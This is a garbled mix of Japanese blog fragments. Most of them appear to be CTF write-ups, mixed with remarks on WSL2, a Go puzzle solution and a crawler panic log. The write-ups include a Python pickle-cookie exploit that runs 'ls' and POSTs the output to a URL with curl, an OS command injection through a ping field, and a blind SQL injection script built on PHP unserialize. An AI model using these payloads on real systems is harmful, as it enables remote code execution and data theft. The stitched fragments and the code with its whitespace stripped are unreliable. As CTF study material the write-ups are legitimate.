Note that the URL specification states that the origin of files is implementation-dependent, and some browsers may treat files in the same directory or subdirectory as same-origin even though this has security implications.
「... some browsers may treat files in the same directory or subdirectory as same-origin ...」の部分が興味深いですね。
こういう時の「some browsers」で想像するブラウザはなんでしょうか。
また、WSL2の話なのでホストOSが Windows な人を対象としています。
僕は正直なところホストを Windows にしているポジティブな理由はあまりないのですが、同様にわざわざ UNIX 系とかにする理由もないので Windows を使っているという状況です。
WSL2 の登場によりWindows派に偏りましたが、やはりWSLであることが原因で疲弊することも多いので難しいですね。
Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers.
import pickle, base64, hmac, requests, sys, os
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"classcmd(object):
def__reduce__(self):
payload = 'ls | curl {url} -X POST -d @-'return (os.system, (payload,))
#session = {"name": "guest"}
session = {"name": cmd()}
p = pickle.dumps(('name', session))
msg = base64.b64encode(p)
sig = base64.b64encode(hmac.new(sekai, msg).digest())
c = '!'+sig+'?'+msg
print c
print requests.get("{url}", cookies=dict(name=c)).text
ls / したら /flag が見つかる。 cat /flagしてもうまくいかなくて「??」になったが、file /flagしたら実行ファイルだった。問題文の"executable"はそういうことか。 /flag で実行すればflag。
思ったよりsolve数結構多くてびっくりしてました。
[Misc] Console Port
– Hey Miku, here’s the manual. Can you help me port the game to consoles?
– Sure, no problem.
[ 1 week later... ]
– Hey Miku, how’s the porting going?
– I just finished it today, wanna take a look?
– Sure, which console did you port it to?
– Huh...? What do you mean “which console”?
package main
import (
"bufio""fmt""os""strconv""strings"
)
func main() {
in := bufio.NewScanner(os.Stdin)
in.Scan()
var n int
n, _ = strconv.Atoi(in.Text())
a := make([][]string, n)
for i := 0; i < n; i++ {
a[i] = make([]string, 6)
in.Scan()
for j, v := range strings.Split(in.Text(), "") {
a[i][j] = v
}
}
var cnt intfor i := 0; i < n-1; i++ {
for j := 1; j < 6-1; j++ {
if a[i][j] == "-" {
if a[i+1][j] != "#" {
cnt++
}
}
}
}
for j := 1; j < 6-1; j++ {
if a[n-1][j] == "-" {
cnt++
}
}
fmt.Println(cnt)
}
[Misc] Sus
Someone sent this file to me, claiming he got it from a SEKAI where the palette is not colorful but purple. I had no idea what he was talking about – I only find it really sus.
BeginnerでpingならOS Command injectionだろうとということで127.0.0.1 | lsとか入れたくなるが、「Invalid IP address」と言われてしまう。
jsで入力チェックをしていた。
if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(address)) {
クライアント側でしかvalidationされていないので、よしなに改ざんする。
OS Command injectionできている。
同様にls / を実行すると以下のような結果になる。
<?php:function login(){if(empty($_COOKIE["__CRED"])){returnfalse;
}$user=unserialize(base64_decode($_COOKIE['__CRED']));
// check if the given user existstry{$db=new Database();
$storedUser=$db->findUserByName($user);
}catch(Exception$e){die($e->getMessage());
}// var_dump($user);// var_dump($storedUser);if($user->password_hash ===$storedUser->password_hash){// update stored user with latest information// die($storedUser);setcookie("__CRED", base64_encode(serialize($storedUser)));
returntrue;
}returnfalse;
}
import base64
import requests
import urllib.parse
from string import Template, ascii_lowercase, ascii_uppercase
abc = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"""
template = """O:4:"User":3:{s:2:"id";s:4:"3280";s:4:"name";s:80:"a' and 1=(select if(substring((select body from flags),$idx,1)='$flg',sleep(1),'a'));#";s:13:"password_hash";s:60:"$2y$10$s1v1vH34usRHYipKkUgrA./Lg3bnIycLhkLzquAjjWoV69RqA4mja";}"""# ^ $idxが二桁になったら81にする
flag = "ctf4b{"for i in abc:
print("\r"+ i, end="")
requests.get("https://[url]/", cookies={"__CRED":urllib.parse.quote(base64.b64encode(Template(template).safe_substitute(idx=len(flag)+1,flg=i).encode()))})
http://victim.com/search?q=flag{a を報告 -> 404 Not Found http://victim.com/search?q=flag{b を報告 -> 404 Not Found http://victim.com/search?q=flag{c を報告 -> 404 Not Found http://victim.com/search?q=flag{d を報告 -> 404 Not Found
: http://victim.com/search?q=flag{t を報告 -> 200 OK flag{t までが確定する。
同様にflag{ta, flag{tb, flag{tc... を報告していき、一文字ずつ特定していく
Access to fetch at 'http://127.0.0.1:1337/api/entries/search?q=flag{' from origin 'http://[evil.com]' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space local.
goqueryを使ってHakoniwa BadStoreをクロールしてたらindex out of rangeがでた。
runtime error: index out of range [0] with length 0
/home/y0d3n/.goenv/versions/1.17.0/src/runtime/panic.go:90 (0x431e34)
goPanicIndex: panic(boundsError{x: int64(x), signed: true, y: y, code: boundsIndex})
/mnt/c/Users/yoden/.../Himawari/models/crawler/forms.go:20 (0x766758)
SetValues: r.Form.Action = input[0].Action
このinput[0]は、HTMLにformがあるときに呼ばれる。
ページを確認したが、inputタグはある。input[0]でindex out of rangeが起きるはずがない。